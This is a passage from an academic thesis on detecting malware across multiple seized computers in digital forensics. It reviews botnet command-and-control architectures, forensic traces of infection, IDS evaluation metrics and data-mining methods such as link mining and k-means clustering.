the utility value of automating correlation analysis. He introduced Forensic Feature Ex-
traction (FFE) and Cross-Drive Analysis (CDA) in [13]. Based on feature extraction and
pseudo-unique identifiers, the proposed prototype is able to correlate information dis-
tributed over multiple digital storage devices. Even though this approach fulfills many
of the aspects of correlating evidence from multiple sources, the feature extractors are
limited to only scan for and find predefined identifiers such as email addresses, social se-
curity numbers (SSN), cookies and credit card number strings. Identifiers and extraction
of features for correlating potential malware or other incidents in multiple sources are
not included. Neither is identification of other correlated files and data that deviate from
a standard set of system information.

In a study conducted by Hoelzet al. [38], a method for applying the concept of artifi-
cial intelligence into computer forensics was presented. The goal was to further automate
the process of examining correlated information from multiple sources and present the
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evidence of highest value to the investigators. The work is mainly based on the Mul-
tiAgent Digital Investigation toolKit (MADIK) [39] using Intelligent Software Agents
(ISA) that can be used to extract relevant evidence for a specific forensic case. MADIK
agents can make decisions to ignore standard system files (using MD5 hashing and com-
parison against a knowledge base), examine time-specific information, system data and
keyword searches to identify relevant evidence to an investigator.

Through the above-mentioned related work, we can see that to correlate data from
multiple sources increases knowledge. In situations where multiple devices, such as com-
puters are involved in an incident, correlations between the identification systems can be
represented as links, depending on the context.

2.2 Malware Detection

This section presents background material around the basics of malware detection and
particularly botnet malware identification patterns and techniques on Windows systems.
The difference between digital forensics in general and malware detection depends on
what evidence you look for, which is in this case malware characteristics and patterns.

2.2.1 Attack Vectors

The method that is used to infect a computer can affect how malware will behave. This
method, or technique for getting access to a victim computer, is referred to as the Attack
Vector [40]. Earlier, typical attack vectors were associated with floppy disks, CDs and
other removable media. Now, when 24/7 Internet connections have become common,
the attack vectors have moved over to this communication domain. Among the Internet
attack vectors we have email attachments, insecure system configurations, drive-by at-
tacks from web browsing, search engine manipulation, social engineering, Trojans and
P2P file sharing activities. These come in addition to the old fashion way of using physical
access and removable media [41].

2.2.2 Botnet Malware

Botnets are one of the biggest computer threats existing today, heavily used for computer
crime [6, 7, 8]. The most typical botnet executed attack is Distributed Denial of Service
(DDoS), e.g., believed to be responsible for the attacks on Estonian banks in 2007 and
Georgia during the Russian invasion in 2008 [42]. Botnet malware will be used for the
experiments in order to test the performance of the proposed correlation method. This
is because of its power when heavily distributed and the malware’s requirements of a
communication channel. There are special features of botnets that are of particular in-
terest when detecting correlations, which will be discussed later on. The following is a
definition of botnets, based on Schiller et al. [40]:

A botnet is an army of compromised computers who report to and receive commands
from a central location.

In order to control the compromised computers (bots or zombies), a software or pro-
gram code with support for Command and Control (C&C) has to be present on the victim
system. This is usually sorted out by using one or several of the attack vectors mentio-
ned before. Figure 6 illustrates a botnet with a centralized C&C architecture where a Bot
Master (the botnet’s controller) controls multiple infected computers (bots) to attack a
victim.
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Figure 6: Illustration of a centralized botnet architecture

Architecture

The way bots are controlled depends on the C&C architecture they use. There exist
many types of C&C architectures where IRC and web-server based are most commonly
used [40]. While these two primarily have a centralized C&C architecture, the use of
decentralized architectures are increasing, well represented by the Peer-to-Peer (P2P)
technology [20, 43]. In order to operate the botnet properly, the type of C&C architec-
ture used is reflect in the malware itself and behavior of the infected host.

An IRC-based botnet is usually controlled by a central IRC bot master that either
pushes commands onto the bots or the bots pull commands from the IRC channel used
for C&C. Due to their centralized architecture, these botnets can easily be taken over
or torn down. This depends on the use of dynamic methods to change the location or
address of the communication channel.

Web-server based botnets use various techniques for C&C with the bots. The bots echo
their presence to the server in order to be identified and to receive or acquire commands
from the C&C. The communication channel is different, e.g., being a Instant Messaging
protocol, Remote Control protocol or the emergin protocol P2P. P2P networks are usually
known for P2P file sharing, but the use of it as C&C architecture for botnets has also
increased (e.g., Storm botnet [43]). From an attacker’s point of view, P2P botnets benefit
from a decentralized architecture. This makes it different from both web-based and IRC
architectures with centralized mechanisms, since most of the bots act as both client and
servers (also known as servents).

Botnets rely on the C&C communication to work. Malware on the bots needs some
kind of common patterns in order to allow attacks to be executed in a similar manner at
the same time and against the same victim. This is also one of the fundamental properties
of DDoS attacks and their success.

2.2.3 Malware Detection Characteristics

In computer forensics and detection of malware, it is important that as many characte-
ristics possible related to the evidence is defined so that one can easily find them. Based
on the obtained knowledge from the forensic analysis, malware and intrusion detection
domains, it is possible to assemble special characteristics that reflect typical malware
patterns. The following patterns are mainly based on [40, 3, 44], and are aimed at post-
mortem malware detection, based on the methodology of discovering malware traces

20



Cross-Computer Malware Detection in Digital Forensics

proposed in [41]. Examples of Torpig [20], one of the most sophisticated botnets ever,
will be given for various characteristics.

Whether the different methods or characteristics provide good results are not consi-
dered in detail. Identification of malware evidence consists of an iterative process where
knowledge of the seized (confiscated) object will increase through the investigation,
which in turn will improve the performance of what is detected.

Timestamps

The use of timestamps in digital forensics, can successfully be applied to detect malicious
and anomalous activity, caused by malware. However, the integrity of the timestamps
can be low, if tampered with by anti-forensics techniques. Figure 7 is inspired by [3] and
illustrates an example scenario where (a) a vulnerability in a system is exploited and (b)
a back door is installed. At a later time (c) the malware is updated, (d) the incident is
identified and finally (e) the investigation is initiated.

Figure 7: Malware infection timeline illustration

C&C information transmitted between infected hosts and the bot master can leave
timestamps and indications of anomalous network activity, e.g., as Torpig’s periodically
contact to the C&C server to upload stolen data (obfuscated using a XOR function). In a
running system, these types of anomalies could be detected using network monitoring.
If post-mortem analysis is performed, timestamps, e.g., of log files with stolen data, can
be used.

Known Malware

A well known approach for detecting malware is to use existing malware detection tools
based on signature detection techniques, e.g., antivirus software. Another method is the
one typically used for digital forensics, where hash signatures, of known good and bad
files exist in hash databases (e.g., the NSRL Reference Data Set [32] and NDIC Hashkee-
per hashsets [45]). A search for known files may be sufficient for filtering out uninteres-
ting ones, or to detect what might be the cause of an incident. These searches can be
performed on an imaged hard drive or on a live system.

System Configuration and Settings

Review of programs and applications installed on a computer can reveal interesting evi-
dence regarding malicious behavior. Windows registry contains information about instal-
led applications. These can be found in the registry keys in HKEY_LOCAL_MACHINE\Micr-
osoft\Windows\CurrentVersion\App Paths, which holds a list of executable paths. It is also
possible to detect traces of installed and previously installed applications. This is suppor-
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ted by the Windows Registry Dataset (WiReD) provided by NSRL [32]. Files that holds
software and system information, which can be of interest for finding malware traces, is
found in the Windows\system32\config folder on most Windows systems. In many cases,
malware also adds values to or changes autorun registry settings, e.g., for subversion or
initialization of the malicious code.

Another method to gain knowledge of installed software is to examine prefetch files
that are created when a program in Windows is executed. This can hold information
about the first time a program was started. Application and OS log files (e.g., Windows
Event logs) can be used to store sensitive system and user information. System specific
event log files can be found in Windows\System32\Winevt\Logs\Application.evtx or by
using the Event Viewer [46] (in live system forensics).

In addition to system specific configurations and files, information can be extracted
about the systems users and their user accounts. This is because in cases of malware
infections, privilege rights associated with the registered user of the malware depend on
what it can achieve and control. Knowledge about the registered user account comes in
handy, e.g., when analyzing file privileges (read, write and execute rights).

File System and Format Specifics

For most file systems, the data is stored in files. An example file could be the file holding
stolen data before it is sent, as used by the Torpig botnet malware. Files that are par-
ticularly of interest are executable files. These files can be difficult to identify. Malware
developers use obscurity techniques in order to evade detection of malware executables.
In these cases the malware is hard to detect and put more emphasis on file interactions
and the surrounding files that are used or can be linked to the main malware file(s).

As discussed in Section 2.1, files that are deleted can hold important information and
should be recovered if possible. Malware developers can also delete files they no longer
need, which might contain useful traces of evidence if not overwritten.

File locations (e.g., folders) is another aspect that can reveal information about its
use. They can be stored in hidden directories, associated with the recycle bin, mailboxes,
web browser records and system specific folders such as Windows\system32. For example,
malware modules downloaded by Torpig botnet malware are saved in the system32 folder
in encrypted form, using names and timestamps of existing files.

Keywords and Identifiers

A simple and less thorough approach to finding malware is to use keyword searches
to identify files typically associated with them. Such keywords can be related to the
communication channel used by the bot master and unusual signs for other network
service abuse, e.g., string information about a communication port, IP address, domain
name or email address. These keywords, and especially the communication patterns, can
be used further to increase the knowledge by using Internet investigation techniques. For
malware using HTTP as communication port, i.e., the port used by Torpig, a search for
applications using HTTP would not be sufficient due to its wide usage.

String searches can also be performed to detect malware. Malware specific strings or
filenames typically associated with known malware behaviour, e.g., the string "keylog",
could be used to improve identification of anomlies. However, this can return a lot of
false positives (FP), since antivirus software and other tools might have these strings in
their signature databases.
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In cases where specific information about an investigated incident (expert knowledge)
is available, associated string searches can be applied. In general, using keyword searches
on a forensic image of a hard drive have to be used carefully and will most likely give
FP. However, as long as these hits, or identified keywords, are correlated to other cha-
racteristics that are used to identify a malware, they might come in handy. It is also
important to consider how the searches are executed, due to the layers of abstraction,
where string searches at the OS level can reveal less information than data content level
string extraction.

There are several other sources to find strings and identifiers that can make detec-
tions of a malware on a host more trivial. Firewall logs, IDS logs, expert knowledge
of previously detected malware, case specific information, e.g., like SSNs, credit card
numbers, bank account numbers, bank names or Online Banking (henceforth OB) URL’s,
associated with a OB specific malware. E.g., Torpig uses a domain detection technique in
order to trigger phishing attacks, where a request to an injection server is triggered.

Obscurity Techniques

Obscurity techniques utilized by malware developers are increasing. This is often used to
evade detection on running systems, e.g., by hiding running processes from Window Task
Manager. For file forensics, methods are used to evade detection even when post-mortem
forensic tools are applied. This is done by encrypting data, placing files in slack space
and HPA areas on the hard disk, changing metadata information, using steganography,
evading using persistent storage devices (e.g., hard disk), using data wiping techniques
and exploiting weaknesses in forensic tools [28].

A typical characteristic that could shed light on a file’s lack of integrity is to calculate
the entropy [47] of the file’s content. This is because entropy reflects the data’s density
and level of organization. An unnatural entropy for a given file type can then help to
discredit the file. Entropy analysis has been used to to find malware [48], and as a
feature to improve knowledge of the data in question [49].

2.2.4 Intrusion Detection Systems

IDS is typically used to detect malicious intrusions. There are primarily two types of
IDS, host based (HIDS) and network based (NIDS). IDS systems are primarily signature
and/or anomaly detection based. Signature based IDS use predefined signatures, clas-
sifying malicious behavior, in order to detect intrusions. An anomaly based IDS on the
other hand, detects anomalous activity. Anomaly detection based IDS can be trained or
learned to identify what is anomalous activity. A baseline of a normal system can then
be generated and updated through time to improve the knowledge of what to expect as
normal activity [40]. The ability to detect intrusions is further improved by employing
data mining methods (discussed later in Chapter 3).

HIDS systems can be seen in conjunctions with antivirus, and other spyware detection
tools since they have capabilities of, e.g, monitoring changes in malicious activity and
program code signatures.

Both NIDS and HIDS have been used to detect and further to track and takeover bot-
net C&C servers. In these cases, simulated victim machines are used as bait to trick adver-
saries into attacking them and infecting them with bot malware [50, 51]. The machines
are known as honeypots or honeynets (networks of machines) with IDS capabilities to
detect possible botnet intrusions. The use of such techniques are one of the main causes
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that a lot of information about botnets, their architectures and attack patterns have been
obtained.

IDS Evaluation

In order to evaluate an IDS, whether it is host based or network based, quantitative
measurements can be applied. This will only be discussed briefly as it fits into the overall
picture of how to measure the success of detecting malicious and intrusive behavior.
More discussions concerning this type of evaluation is given in Section 4.3.1, 7.1 and in
Chapter 9. A set of typical measurements are provided by [52]:

• The IDS coverage

• Probability of false alarms

• Probability of detecting an intrusion

• Resistance to attacks directed at the IDS

• Ability to handle high bandwidth traffic

• Ability to correlate events

• Ability to detect never-before-seen attacks (0-day)

• Ability to identify an attack

• Ability to determine attack success

• Capacity verification for NIDS

In addition to the individual measurements enumerated above, also the total per-
formance of an IDS can be evaluated [53]. This can be seen in relation to a base-rate
(Equation 2.1).

P(I) =
TP + FN

N
(2.1)

The base-rate is the overall probability of an intrusion (I), based on True Positive (TP)
and False Negative (FN) intrusions and their relation to the total number of IDS decisions
(N).

FPR = P(A|¬I) =
FP

FP + TN
(2.2)

TPR = P(A|I) =
TP

TP + FN
(2.3)

The base-rate can be used, together with an IDS False Positive Rate (FPR, Equa-
tion 2.2) and True Positive Rate (TPR, Equation 2.3) to calculate if an alarm (A) from
the IDS actually indicates an intrusion [53, 54]. This calculation is known as the Baye-
sian Detection Rate, given in Equation 2.4. Due to the importance of the base-rate in
calculating Bayesian Detection Rate, and the possibility of misconception (known as the
base-rate fallacy phenomenon), precautions have to be taken when performing this type
of evaluation. This is mainly caused by the incorrect assumption that each alarm is an
intrusion, and vice versa [53].
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P(I|A) =
P(I)P(A|I)

P(I)P(A|I) + P(¬I)P(A|¬I)
(2.4)

In order to provide the same preconditions for IDS systems to be tested and the ability
to calculate the base-rate, special data sets exist, e.g., the KDD Cup data 1999 [55]. These
data sets are intended to be used to compare the different IDS systems, since they have
classified intrusions and normal activity. By using the same data set against several IDS’
it will be possible to measure their advantages and disadvantages in relation to each
other. Unfortunately, KDD Cup data is getting old in addition to that it is only directed at
network traffic.

2.2.5 Related Host, Content and Correlation based Malware Detection

A lot of work is dedicated to malware detection in general. Malware detection methods
are often associated with protecting a running system by detecting malicious behavior
from software, e.g., as IDS discussed before. Even with its advantages, these live tech-
niques are not applicable to be employed directly to all types of malware detection. Ho-
wever, work has been carried out for improving malware detection methods by applying
correlation techniques and focusing on special contents of files and program code. We
have in this section chosen to focus on malware detection that can be used for computer
forensics and especially post-mortem file system analysis.

Patterns of bot malware can be hard to detect using standard signature based antivirus
tools, easily bypassed using obscurity techniques. However, in cases of C&C dependent
malware like botnets, certain patters are required in order for the bot-master to control
his or hers bots. Good results from an experiment of combined network and host-level
information to detect bot malware activity is presented by Zeng et al. in [56]. Their
experiment setup was made for live analysis of pre-gathered malware, where analyzers
at the network and host-level (especially aimed at the registry and file system) were
correlated to detect the malwares activity. The basis of the results were mainly traces
of activity in the Windows hosts registry, file system and network traffic. The results
produced no higher than 0.16% FPR.

Yousof Al-Hammadi and Uwe Aickelin examined in [57] correlations between normal
user activity and bot activity on multiple hosts. The gathered data for the executed ex-
periment was based on log-file information gathered from injecting DLLs into processes
of interest in multiple machines (some infected with malware and some not). By compa-
ring the gathered normal IRC user activity against IRC-bot activity, they discovered that
the correlations between IRC-bots were much higher than the normal user behavior. To
separate normal user behavior and IRC-bot activity, time and amount of data generated
was compared using a threshold-based algorithm distinguishing the results. Even though
the timestamps for IRC-bot activity is in this case based on live analysis, the importance
of temporal data is also relevant for post-mortem analysis where C&C communication
follow correlated activity patterns.

Based on the fact that most malware today are built on old malware codes, obfuscated
to bypass standard antivirus signature detections [28], Tabish et al. introduce in [58] a
non-signature based malware detection technique using statistical analysis of byte-level
file content. The use of multiple data mining techniques for distance estimation, clas-
sification and correlation among the gathered data, shows that it is possible to obtain
common patterns among multiple malwares. The result obtained was 90% detection ac-
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curacy for malware detection, based on byte-level file information. The actual file content
is for this method represented by small blocks of the file’s data, where features are ex-
tracted and included in feature files (using the ARFF format [59]).

Another method for detecting obfuscated and mutations of malware through digital
forensics, is presented by Park et al. in [33]. The proposed method extracts operation
code (opcode) from executables in the analyzed file system and compares the opcodes
against profiles of malicious code patterns and presents them in a visual similarity matrix.
This approach for correlating malware opcodes, have the advantage of being adapted to
digital forensics-based malware correlation detection.

From the related work presented in this section, the combination of known malware
characteristics, detection of anomalies and suspicious similarities from multiple sources
can add to and improve the detection of malware in digital forensics.
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3 Link and Data Mining Techniques

What has been discussed so far about link analysis is from a forensic perspective which
can be connected to the emerging discipline Link Mining. In this chapter data mining in
general and techniques used for linking data objects will be presented. Data mining is
often seen in relations with other disciplines, e.g., machine learning, statistics, pattern
recognition and artificial intelligence. One should be aware that the distinctions between
the various disciplines associated with data mining can be somewhat ambiguous in ex-
pression of terms and concepts. To not cause confusion, the focus will be to mainly relate
the discussions to the machine learning discipline, where algorithms and methods used
to comply with the requirements of link mining are discussed.

3.1 Data mining

Data Mining can be used for a variety of tasks and application domains to produce in-
sight and to gain a better understanding of large amount of data. Digital Forensics is no
exception, as seen in Figure 3 where it can be used for forensic analysis. Data Mining is
defined by Hand et al. [60] as:

"The analysis of (often large) observational data sets to find unsuspected relationships
and to summarize the data in novel ways that are both understandable and useful to
the data owner."

It is mainly due to large data sets and the importance of extracting relevant and
interesting information from them that has supported and substantiated the need for
a discipline as data mining. Companies involved in financial, medical, communication
and marketing areas are examples of application domains where one can benefit from
using data mining techniques to increase knowledge of their data. Data Mining also play
a central part in anomaly detection based IDS systems and other malware detection
systems [61, 62, 63, 64].

From a historically point-of-view, Data mining was linked to data warehousing where
various data from different sources were placed in the same database. Using data mi-
ning techniques in these databases could be used to extract patterns of the data to gain
knowledge and improve its structure. The success of the data mining procedure depends
on the representation of the data and its original state. Another important aspect of data
mining is the evaluation and verification of the data mining result’s validity.

3.1.1 High-Level Data Mining Techniques

Data mining can be categorized into different techniques, depending on the task and
objective of the person in charge. The categories of data mining techniques vary between
sources, but two techniques are repeated [60, 65]:

Descriptive Modeling

Descriptive models are used to describe patterns in the existing data in order to increase
knowledge. This is done by summarizing or discriminating the data. Segmentation and
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cluster analysis techniques are typical examples of descriptive models where objects are
grouped based on a researchers initially defined or the data’s natural groups.

Predictive Modeling

These models are used to predict or forecast the information outcome of a data mining
process, based on known results. Predictive modeling adds to descriptive modeling in the
way that it involves descriptive techniques before it is able to make decisions on future
data. Typical examples of predictive modeling are classification, association rule based
analysis and regression.

3.1.2 The Process of Data Mining

The data set is what is used as input for the data mining process. A simple case of
a data set is data taken from some environment or a process, represented as objects.
Measurements are made on the objects to reflect its features, attributes or variables.
The comprehension and terms used depend on the context. Together will n objects with
corresponding p measurements create an nxp matrix, i.e., the data set. Depending on
the context and how and for what data mining method it is used, the data set can also
be defined as, e.g., training data, sample or database.

In order to understand how data mining can be conducted, and its usefulness in
extracting knowledge from data sets, it can be linked to the processes involved from the
input data to the output result. Knowledge discovery can be considered as the process in
searching large amounts of data to increase knowledge about them. The process consists
of several steps, where data mining plays a central role. The steps involved with the
knowledge discovery process is presented in Figure 8 [66]:
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Figure 8: Steps involved in the knowledge discovery process

In order to perform the data mining and to achieve valuable results it is important
to select representative data as input and pre-process them. The pre-processing includes
cleaning (to remove noise), integration (in cases of multiple data sources), selection
(also known as feature or attribute selection where relevant and representative data is
extracted) and transformation (to achieve an appropriate form of the data). Having a
good representation of the input data at hand, the data mining method is applied. It is
important that the results of the data mining is evaluated properly and validated before
the new knowledge is presented as a final result [60].

The pre-processing stage lays the foundation of the data mining procedure. It is there-
fore important that this is handled in cooperation with experts in the specific domain [35]
to filter out and improve the data mining results.

As one of the important steps in the preprocessing, we have feature selection. It is a
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technique within machine learning and pattern recognition [41], used to define suitable
feature sets that best represent the data and can be used to build strong learning models.
This is a discipline in itself that deals with various algorithms, including the wrapper,
filter and embedded algorithms for evaluating subset of features as groups and to test
their suitability for specific domains. E.g., IDS is such a domain where feature selection
can improve the effectiveness of intrusion detections as presented in [67], where the
feature selection is based on a filter method. It is here clear that the domain of com-
puter security, and especially for malware and network intrusions, depend heavily on
representative features [68].

3.1.3 Challenges of Data Mining

When performing clustering and other data mining tasks, there are myths and pitfalls
one has to be aware of. In [69], misconceptions and pitfalls of data mining in general
are presented. Myths about data mining being all about algorithms, predictive accuracy
of results, vast amount of data, are some of the myths that have to be busted. Without
the involvement of all aspects necessary to perform data mining, it would be hard to
even think about valid data mining results. This is especially true for the data acquisition
and preprocessing, which creates the foundation for futher analysis. Typical pitfalls are
related to, e.g., overwhelming amount of data, where only a sample would be necessarily,
insufficient knowledge of the data and incompatibility of data mining tools.

3.2 Machine Learning

A technology often associated with data mining, suitable for the later presented corre-
lation method, is Machine Learning. It includes the actual algorithms and techniques
for making a computer learn and recognize patterns in large data sets [59]. To perform
data mining tasks and especially link mining, machine learning algorithms can be, among
other things, used to comply with the requirements to use computers to group similarities
of objects in large data sets.

It is the training of the machine learning algorithms that can improve knowledge
of large data sets. There exist two main machine learning techniques; supervised and
unsupervised learning.

3.2.1 Supervised Learning

Supervised Learning is known as the machine learning method for predictive Data Mi-
ning modeling. This is because the machine learning algorithm is feed (supervised) with
a priory known information (i.e., training examples) about data in order to learn and
(depending on the application domain) detect patterns of future data. This is sometimes
also known as classification learning, as the supervised information about a specific data
pattern, defines a class to which data with similar patterns will be assigned [59].

3.2.2 Unsupervised Learning

Not surprisingly, Unsupervised Learning can be seen as the machine learning method for
descriptive data mining modeling. The machine learning algorithms are in this case not
feed with data that describes the data (class), other than the data one would like to learn
more about [59].
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3.3 Link Mining

Link mining is an emerging discipline of data mining, based on data mining techniques
with the goal of producing a structured presentation of interconnected and linked ob-
jects. When these links are visualized, as in graphs where nodes represent objects and
connections as edges, one can gain a better understanding of the relationships and as-
sociations of objects in a particular data set. Link Mining is currently used within the
field of social networks, World Wide Web (e.g., interconnected by hyperlinks), medical
domain, financial and bibliographic domains [35, 70], but has a huge applicability value
in other fields as well.

3.3.1 Object Definitions and Roles

In the domain of Link Mining, the objects or actors that can be extracted from data sets
can be described as entities, events or associations [35].

The entities can be, e.g., organizations, individuals, components, computers, docu-
ments or places by means of geographically locations or IP addresses. The level of detail
may vary for an entity, e.g., an individual’s name, date of birth and eye color, depending
on the dimension required for the specific application. The additional information asso-
ciated to an entity is known as attributes [71]. For the computer security domain, an
entity can be, e.g., script-kiddies, malware, computer, IP address or an ISP.

Events depend on the investigation domain also, and can be associated with the in-
cidents, either a main incident, sub incidents that forms a main incident or multiple
incidents. A typical event in the computer security domain can be malware infection of
a personal computer. This event could again consist of several sub incidents, e.g., vulne-
rability scanning, malware propagation and infection (depending on the level of detail
chosen for the investigation).

An association is what represents the actual link between objects and that they have
something in common or is connected in a way. In the field of Link mining there exist se-
veral methodologies for how these associations can be identified and these are discussed
below.

3.3.2 Link Mining Tasks and Methods

Link mining tasks define how objects should be treated and how the links shall be de-
tected. These tasks are applied to data sets in order to define the structure of how its
connectivity should be handled and presented. Summarized from [70], there are three
main tasks that are used for linking, i.e., object, link and graph related.

First we have Object Related Tasks. These tasks are used for ranking objects centrality
(e.g., Link-Based Object Ranking or LBR), classifying them by labeling nodes in graphs,
clustering nodes by grouping nodes with common characteristics and finally techniques
for identifying objects in a domain (in cases where multiple entities in a dataset have to
be resolved).

Other tasks are related to the links and are called Link Related Tasks. These are asso-
ciated with prediction of links between entities. The links are based on attributes and the
links that are directly observable.

Finally there are Graph Related Tasks that concerns with discovery of sub graphs, clas-
sification of whole graphs and generative models for graphs, e.g., Erdös-Rényi [72]. In
the case of sub structures and classification of graphs it is usually computational excessive
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to detect all of them, such that clear definitions of data representation and fine selection
of interesting object features would be appropriate.

Entity extraction, Association rule mining, string comparator and sequential pattern mi-
ning are other data mining techniques that can also be used for linking and as methods
to create a profile of objects.

3.3.3 Applied Link Mining for Digital Forensics

There are particularly two Link Mining tasks that are relevant to discuss further, due to
their use in Digital Forensics, where commonalities and association between evidence is
important.

Ranking-based Linking

Ranking techniques, as LBR, can be used for estimating the importance of an event. The
ranking values will then depend on the links associated to each analyzed object or entity.
In this case, the centrality, influence and authority of an object in a dataset can improve
the knowledge about the event analyzed. The meaning of ranking values depend on if
the data set is static or dynamic in the way the events are presented. In the case ranking
events from dynamic data sets or data sets consisting of temporal information (i.e., time
stamps), the ranking of events will change during time and the importance and meaning
of the involved objects will vary. In these cases where time is relevant and ranking values
changes over time, visualization with a time line will improve the presentation.

The Cross-Drive Analysis (CDA) presented by Simson L. Garfinkel in [13], as discus-
sed in Section 2.1.8, is probably one of the closest methods for applying data mining
for digital forensic cross-drive analysis. For the actual correlation, a Multi-Drive Corre-
lator (MDC) using scoring functions was used to compute the number of machines with
traces of the same pseudo-unique identifiers, e.g., SSN. The correlations of information
are in this case based on statistical techniques. However, within the data mining do-
main, and particularly link mining, this method has similarities to LBR, as introduced
in Section 3.3.2. Research within LBR is usually focused on single object and link types
wherein the case of the MDC, scores are assigned machines having common features.
E.g., number of emails commonly present on the hard disks.

Examples of ranking algorithms used for ranking entities in networks are PageRank,
HITS (Hypertext Induced Topic Selection) and eigenvector centrality [73]. These algo-
rithms are especially useful for cases where there exist lots of links, since the entities
importance in the network is ranked based on these links. Cases with few links will make
it harder to estimate the entities importance.

In case of malware detection and post-mortem analysis of seized computers, the data
set can be considered as static in the way that no new data or events will occur. However,
the data already stored on the machine includes time variables that can be considered as
temporal and dynamic values, which can be used to improve the knowledge of occurred
events.

Clustering of Objects

Clustering is a well known data mining method used for descriptive modeling and there
exist several machine learning algorithms for clustering. Although because of its many
applications, the focus will be on clustering as a link mining technique.

As already stated, clustering is used to find similarities and common patterns in
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data. In order to achieve good results from clustering it is important to understand the
core principles. The necessary steps involved in clustering and appropriate algorithms to
group data with common characteristics will be discussed here.

Clustering was used for BotMiner, presented in [63], where it was used to detect
groups of machines that were compromised and part of a botnet. It is also a method
supported in [70] as Group Detection, in [74] as Link based cluster analysis and in [75]
as a crime data mining technique for identifying common criminal characteristics of sus-
pected individuals. Supervised clustering assumes that the examples used as input are
already classified. This can then be used to cluster data based on class specific proper-
ties.

Specific steps that have to be followed when performing clustering in general [76],
that support existing data mining processes, including additional once are listed below.
The steps have to be followed carefully since different choices may lead to different
clustering results:

• Feature selection: As introduced earlier in this chapter, this is a discipline of its own,
having a noticeable impact on the results of the clustering as well as other data mining
tasks. It is important that the features cover data with minimum redundancy, are
properly selected, and preprocessed before they are utilized further.

• Proximity measure: This deals with the problem of defining how similar or dissimilar
the objects or feature vectors in the data set are. It requires that the contribution of
the feature vectors should be similar and no features in the feature vector should
dominate others. A well known proximation measure is the Euclidean Distance, with
two n-dimentional feature vectors i and j it is defined by Han and Kamber [66] in
Equation 3.1.

d(i, j) =

√
(xi1 − xj1)

2
+ (xi2 − xj2)

2
+ ...+ (xin − xjn)

2 (3.1)

• Clustering Criterion: The expectations of the clustering results have to be defined,
e.g., through cost functions or rules in order to define the criterion of what type of
cluster is most sensible for the data set involved. Exemplified, a data set of triangles,
squares and circles can be clustered in at least two ways, depending on the clustering
criterion. They can be clustered by shape or color, as shown in Figure 9.

(a) Shape (b) Color

Figure 9: Clusters based on different Clustering Criterias (a) and (b)

• Clustering Algorithms: The Clustering Algorithms define how the input data set will be
handled and unravels a clustered structure of it. There are several types of clustering
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algorithms, e.g., partitional, hierarchical, density-based, grid-based and model-based,
to choose from when executing clustering [66]. One of the most popular algorithms,
k-means is a partitional algorithm that is discussed later in this section.

• Validaty of Results: Correctness of the clustering results has to be verified through the
use of scoring functions or other types of tests. The task or procedure of evaluating
clustering results is known as cluster validity. This is an important part of clustering
since it reveals whether the findings can be considered as random or not. Clustering
has no clear objective criterion for measuring its success, unlike classification tasks
where test data can provide right or wrong results. It is therefore important that it
is evaluated using proper methods and that the results are seen in relations with
the application domain. Due to its applicability value for the correlation method,
evaluation criterias specifically aimed at the K-means algorithm is presented later in
this section.

• Interpretation of Results: Results from the clustering usually have to be interpreted
by experts within the field of application and related to other evidence from other
experiments in order to draw the right conclusions about the initial task. This in-
terpretation can in the case of the later presented correlation method relate to the
forensic and malware domain.

In addition to the ones mentioned above, clustering tendency should be applied in order
to test whether the data set have a structure suitable for clustering.

Due to the amount of clustering algorithms, with various capabilities and area of
application [77] we will here present one of these. A well known algorithm and the one
we will present in more detail is the K-means clustering algorithm [59].

K-means

As already stated, K-means is the most popular and probably the most known clustering
algorithm [76, 78]. It is a partitioning algorithm that bases itself on two concepts, using
point representatives where distance algorithms are used to measure the dissimilarities
between the vectors and cluster points. Even if K-means is considered to be a simple
and fast algorithm it has weaknesses regarding placing outlier nodes, data with different
densities and cluster sizes.

To successfully use the K-means algorithm you have to know the number of clusters
you would like, which is the parameter K. Based on given K; K points are chosen as
centers randomly. Using the Euclidean Distance metric, all instances in the dataset are
assigned to their closest center (being the center of each cluster). Then the "mean" part
of K-means is used to calculate the mean of instances assigned to the created clusters.
Iterations of this process continue until the cluster centers have been stabilized and stay
the same. Having a multidimensional and large dataset, the instances or objects with
the most common characteristics will most likely be placed in the same cluster. This
algorithm was, e.g., used in [62] for network based intrusion detection to identify ano-
malous network traffic. X-means, an algorithm based on K-means was used in [63] for
grouping bots with common communication and activity patterns.

As one may have suspected, a challenge of using K-means is that the value of initial
number of clusters (K) has to be selected in order to perform clustering. In cases where
you can estimate the number of clusters, based on solid knowledge about the data, this
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value can easily be selected. In cases where you are working with extremely large un-
structured data sets, with long feature vectors, choosing K can be difficult.

A solution to the K-selection problem is to try out different values of K and observe
which seems best [59]. The evaluation of which is best is based on clustered points
distances to their center cluster. This can however be a time consuming task. Another
method is to choose a few clusters, e.g., by using K=2 and testing whether each of these
clusters are worth splitting. A more efficient approach, and probably the best method

Figure 10: Illustration of SOM diagram

to use for choosing K is Self Organized Maps (SOM). Without going into the details of
SOM, it is an unsupervised learning technique that creates a two-dimensional grid of
cells from multidimensional data sets [35]. This gives an opportunity to find numbers of
clusters, which again can be used to estimate K. Figure 10 illustrates a simple example
of a SOM diagram, based on feature vectors with 6 attributes and approximately 500
objects, creating 8 segments. In this case, the K could be set as 8 for the clustering
algorithm.

Score Functions

For partition based clustering algorithms there are in particular two simple functions
that can be used to evaluate the compactness of the cluster’s and the separation in bet-
ween each cluster. These are known as Within cluster variation (wc) and Between cluster
variation (bc).

wc is a simple technique that is used to evaluate the distance from each node to
the centroid (r) node of a cluster (Equation 3.2). Based on the sum of squares of the
distances (for all nodes), the compactness of each cluster is obtained.

wc(C) =

K∑
k=1

wc(CK) =

K∑
k=1

∑
x(i)∈CK

d(X, rk)
2 (3.2)

The evaluation can be performed based on centroids provided by the clustering func-
tions output (if available). The number of operations performed in order to get wc(C)
involves the whole data set, making it a comprehensive task. However, an alternative is
to calculate the distance between a node’s closest neighbors, for all nodes in a cluster,
and use the maximum value. bc is used to estimate the distance between the cluster cen-
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ters (Equation 3.3). In order to evaluate the overall performance of the clustering, wc

and bc can be combined by the ratio bc/wc [60].

bc(C) =
∑

1≤j<k≤K

d(rj, rk)
2 (3.3)

Classes to clusters evaluation

This is a method to test how well the nodes are assigned to clusters based on a predefined
class. This type of test can be used to check the clusters against each of the attributes (one
at the time) in the data set or a specially defined class attribute. This type of evaluation
can also be used to test an attributes influence or relevance in the clusters. The reason for
this is that the result of the classes to clusters evaluation gives a result showing the number
of errors or false node cluster assignments there are. This will then reflect whether the
clustering are successful or not, related to the defined class.

The evaluation is done by assigning a class to clusters where the class attribute is
mostly represented. Based on this result, errors/exceptions are computed in order to
show the variance between the classes and the created clusters.
